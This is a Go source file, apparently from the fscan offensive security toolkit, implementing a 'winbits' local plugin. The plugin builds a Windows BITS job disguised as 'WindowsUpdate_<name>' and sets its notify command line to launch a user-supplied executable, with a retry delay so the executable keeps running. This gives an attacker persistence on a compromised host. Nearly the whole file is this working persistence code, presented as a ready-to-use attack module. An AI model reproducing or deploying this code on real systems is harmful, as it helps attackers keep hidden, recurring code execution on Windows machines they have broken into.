Files
fscan/plugins/local/winbits.go
T
ZacharyZcR c266912dcb 修复10个代码缺陷: panic防护, 死锁, 密钥泄漏, 错误吞没
- eval_random: randomInt参数max<=min时不再panic,返回CEL错误
- scanner: 长驻插件nil/panic时兜底发送ready通道,消除死锁
- poc_executor: Ceye API密钥改为环境变量CEYE_API/CEYE_DOMAIN
- Eval: ParseResponse加入oResp.Request nil检查
- Eval: reverseCheck中http.NewRequest错误不再忽略
- poc_executor: clusterpoc中CEL表达式求值错误记录日志
- winwmi: PowerShell执行失败完整记录错误信息
- sshkey: authorized_keys读取失败处理错误
- minidump: Scan结束后释放系统DLL句柄
- Windows插件: PE文件错误消息改用i18n
2026-05-18 03:47:42 +08:00

100 lines
2.8 KiB
Go

//go:build (plugin_winbits || !plugin_selective) && windows && !no_local
package local
import (
"context"
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/i18n"
"github.com/shadow1ng/fscan/plugins"
)
type WinBITSPlugin struct {
plugins.BasePlugin
}
func NewWinBITSPlugin() *WinBITSPlugin {
return &WinBITSPlugin{BasePlugin: plugins.NewBasePlugin("winbits")}
}
func (p *WinBITSPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
pePath := session.Config.WinPEFile
if pePath == "" {
return &plugins.Result{Success: false, Error: fmt.Errorf(i18n.GetText("local_pe_not_specified"))}
}
if _, err := os.Stat(pePath); err != nil {
return &plugins.Result{Success: false, Error: fmt.Errorf(i18n.Tr("local_pe_not_found", pePath))}
}
absPath, _ := filepath.Abs(pePath)
baseName := strings.TrimSuffix(filepath.Base(absPath), filepath.Ext(absPath))
jobName := fmt.Sprintf("WindowsUpdate_%s", baseName)
var output strings.Builder
// 创建任务并提取 GUID
out, err := exec.Command("bitsadmin", "/create", "/download", jobName).CombinedOutput()
if err != nil {
output.WriteString(fmt.Sprintf("[失败] 创建任务: %s\n", strings.TrimSpace(string(out))))
return &plugins.Result{Success: false, Output: output.String()}
}
guid := ""
for _, line := range strings.Split(string(out), "\n") {
if idx := strings.Index(line, "{"); idx != -1 {
if end := strings.Index(line[idx:], "}"); end != -1 {
guid = line[idx : idx+end+1]
break
}
}
}
if guid == "" {
output.WriteString("[失败] 无法提取任务 GUID\n")
return &plugins.Result{Success: false, Output: output.String()}
}
output.WriteString(fmt.Sprintf("[成功] 创建任务: %s (%s)\n", jobName, guid))
steps := []struct {
desc string
args []string
}{
{"添加文件", []string{"/addfile", guid, "http://localhost/update", fmt.Sprintf(`%s\%s_tmp`, os.TempDir(), baseName)}},
{"设置回调", []string{"/SetNotifyCmdLine", guid, absPath, "NUL"}},
{"设置重试", []string{"/SetMinRetryDelay", guid, "60"}},
{"恢复任务", []string{"/resume", guid}},
}
successCount := 1
for _, step := range steps {
out, err := exec.Command("bitsadmin", step.args...).CombinedOutput()
if err != nil {
output.WriteString(fmt.Sprintf("[失败] %s: %s\n", step.desc, strings.TrimSpace(string(out))))
continue
}
output.WriteString(fmt.Sprintf("[成功] %s\n", step.desc))
successCount++
}
if successCount >= 3 {
common.LogSuccess(i18n.Tr("winbits_success", jobName))
}
return &plugins.Result{
Success: successCount >= 3,
Type: plugins.ResultTypeService,
Output: output.String(),
}
}
func init() {
RegisterLocalPlugin("winbits", func() Plugin {
return NewWinBITSPlugin()
})
}